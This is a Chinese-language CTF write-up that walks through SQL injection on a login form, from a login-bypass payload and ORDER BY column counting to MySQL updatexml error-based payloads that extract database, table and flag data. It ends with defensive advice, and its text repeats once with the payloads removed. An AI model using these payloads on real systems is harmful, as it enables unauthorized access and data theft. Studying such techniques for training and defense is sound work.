CTF登录框遇到的注入
字数 1592 2025-08-15 21:31:50

CTF登录框SQL注入实战教学:从入门到flag获取

1. 环境与目标分析

本教学基于一个CTF靶场中的登录框注入场景,目标是绕过登录验证并获取flag。登录框是常见的SQL注入测试点,特别是当开发者未对用户输入进行充分过滤时。

2. 初步测试

2.1 弱口令尝试

首先尝试常见弱口令组合:

  • 用户名:admin
  • 密码留空或尝试常见密码如123456password

观察结果:系统返回"错误的用户名、密码"提示,表明用户名存在但密码错误。

2.2 万能密码测试

尝试SQL注入经典payload:

admin' or '1'='1' --

或变体:

admin' or 1=1 -- 

结果:成功登录,确认存在SQL注入漏洞。

3. 注入技术分析

3.1 判断注入类型

通过万能密码成功登录,确认是字符型注入(使用单引号闭合)。

3.2 字段数判断

使用ORDER BY子句判断查询返回的字段数:

admin' order by 1-- 
admin' order by 2-- 
admin' order by 3-- 
admin' order by 4-- 

发现:当order by 4时报错,确认查询返回3个字段。

3.3 Union联合查询尝试

尝试使用Union查询获取数据:

admin' union select 1,2,3-- 

问题:没有显示位(页面没有显示union查询结果的位置),无法直接利用union注入。

4. 报错注入技术

由于union注入不可行,转向报错注入技术,使用updatexml函数。

4.1 updatexml函数原理

updatexml是MySQL的XML处理函数,当XPath表达式错误时会产生报错信息,我们可以利用这个特性泄露数据。

基本语法:

updatexml(XML_document, XPath_string, new_value)

4.2 报错注入Payload构造

4.2.1 获取当前数据库名

admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
  • 0x7e是波浪号~的十六进制,作为分隔符使报错信息更清晰
  • %23#的URL编码,用于注释后续SQL语句

4.2.2 获取所有表名

admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)%23
  • information_schema.tables:系统表,存储所有表信息
  • group_concat():将多行结果合并为单个字符串

4.2.3 获取表数据

发现目标表为geek.l0ve1ysq1,获取其内容:

admin' and updatexml(1,concat(0x7e,substr((select group_concat(password) from geek.l0ve1ysq1),32,64),0x7e),1)%23
  • 使用substr()函数分段获取数据,因为报错信息有长度限制
  • 从第32个字符开始,获取64个字符

4.2.4 定位flag

发现从224字符开始出现"flag"字样,调整payload:

admin' and updatexml(1,concat(0x7e,substr((select group_concat(password) from geek.l0ve1ysq1),250,64),0x7e),1)%23

从250位置开始截取,确保获取完整的flag。

5. 关键技术与技巧总结

  1. 信息收集:通过系统表information_schema获取数据库结构

    • tables表:存储所有表信息
    • columns表:存储所有列信息
  2. 数据分段获取

    • 报错信息有长度限制(约32个字符)
    • 使用substr(string, start, length)分段获取
    • 使用group_concat()合并多行结果
  3. 特殊函数利用

    • updatexml:通过故意构造错误XPath表达式引发报错
    • concat:连接字符串,确保报错信息包含所需数据
    • 0x7e:作为可视分隔符,便于识别有效数据
  4. 注释技巧

    • -- (注意末尾空格)或#用于注释后续SQL语句
    • 在URL中需要使用%23表示#

6. 防御建议

  1. 参数化查询:使用预处理语句而非字符串拼接
  2. 输入验证:对用户输入进行严格过滤
  3. 最小权限原则:数据库用户只应拥有必要权限
  4. 错误处理:自定义错误页面,避免泄露数据库信息
  5. WAF部署:Web应用防火墙可拦截常见注入攻击

7. 完整攻击流程总结

  1. 发现登录框,尝试弱口令
  2. 测试万能密码,确认SQL注入漏洞
  3. 判断注入类型和字段数
  4. Union注入失败,转向报错注入
  5. 使用updatexml获取数据库名、表名
  6. 分析表结构,定位目标表
  7. 分段获取表数据,定位flag
  8. 调整payload获取完整flag

通过这个案例,我们学习了如何在CTF环境中利用SQL注入漏洞,特别是当union注入不可用时如何灵活使用报错注入技术获取数据。

CTF登录框SQL注入实战教学:从入门到flag获取 1. 环境与目标分析 本教学基于一个CTF靶场中的登录框注入场景,目标是绕过登录验证并获取flag。登录框是常见的SQL注入测试点,特别是当开发者未对用户输入进行充分过滤时。 2. 初步测试 2.1 弱口令尝试 首先尝试常见弱口令组合: 用户名: admin 密码留空或尝试常见密码如 123456 、 password 等 观察结果 :系统返回"错误的用户名、密码"提示,表明用户名存在但密码错误。 2.2 万能密码测试 尝试SQL注入经典payload: 或变体: 结果 :成功登录,确认存在SQL注入漏洞。 3. 注入技术分析 3.1 判断注入类型 通过万能密码成功登录,确认是字符型注入(使用单引号闭合)。 3.2 字段数判断 使用 ORDER BY 子句判断查询返回的字段数: 发现 :当 order by 4 时报错,确认查询返回3个字段。 3.3 Union联合查询尝试 尝试使用Union查询获取数据: 问题 :没有显示位(页面没有显示union查询结果的位置),无法直接利用union注入。 4. 报错注入技术 由于union注入不可行,转向报错注入技术,使用 updatexml 函数。 4.1 updatexml函数原理 updatexml 是MySQL的XML处理函数,当XPath表达式错误时会产生报错信息,我们可以利用这个特性泄露数据。 基本语法: 4.2 报错注入Payload构造 4.2.1 获取当前数据库名 0x7e 是波浪号 ~ 的十六进制,作为分隔符使报错信息更清晰 %23 是 # 的URL编码,用于注释后续SQL语句 4.2.2 获取所有表名 information_schema.tables :系统表,存储所有表信息 group_concat() :将多行结果合并为单个字符串 4.2.3 获取表数据 发现目标表为 geek.l0ve1ysq1 ,获取其内容: 使用 substr() 函数分段获取数据,因为报错信息有长度限制 从第32个字符开始,获取64个字符 4.2.4 定位flag 发现从224字符开始出现"flag"字样,调整payload: 从250位置开始截取,确保获取完整的flag。 5. 关键技术与技巧总结 信息收集 :通过系统表 information_schema 获取数据库结构 tables 表:存储所有表信息 columns 表:存储所有列信息 数据分段获取 : 报错信息有长度限制(约32个字符) 使用 substr(string, start, length) 分段获取 使用 group_concat() 合并多行结果 特殊函数利用 : updatexml :通过故意构造错误XPath表达式引发报错 concat :连接字符串,确保报错信息包含所需数据 0x7e :作为可视分隔符,便于识别有效数据 注释技巧 : -- (注意末尾空格)或 # 用于注释后续SQL语句 在URL中需要使用 %23 表示 # 6. 防御建议 参数化查询 :使用预处理语句而非字符串拼接 输入验证 :对用户输入进行严格过滤 最小权限原则 :数据库用户只应拥有必要权限 错误处理 :自定义错误页面,避免泄露数据库信息 WAF部署 :Web应用防火墙可拦截常见注入攻击 7. 完整攻击流程总结 发现登录框,尝试弱口令 测试万能密码,确认SQL注入漏洞 判断注入类型和字段数 Union注入失败,转向报错注入 使用updatexml获取数据库名、表名 分析表结构,定位目标表 分段获取表数据,定位flag 调整payload获取完整flag 通过这个案例,我们学习了如何在CTF环境中利用SQL注入漏洞,特别是当union注入不可用时如何灵活使用报错注入技术获取数据。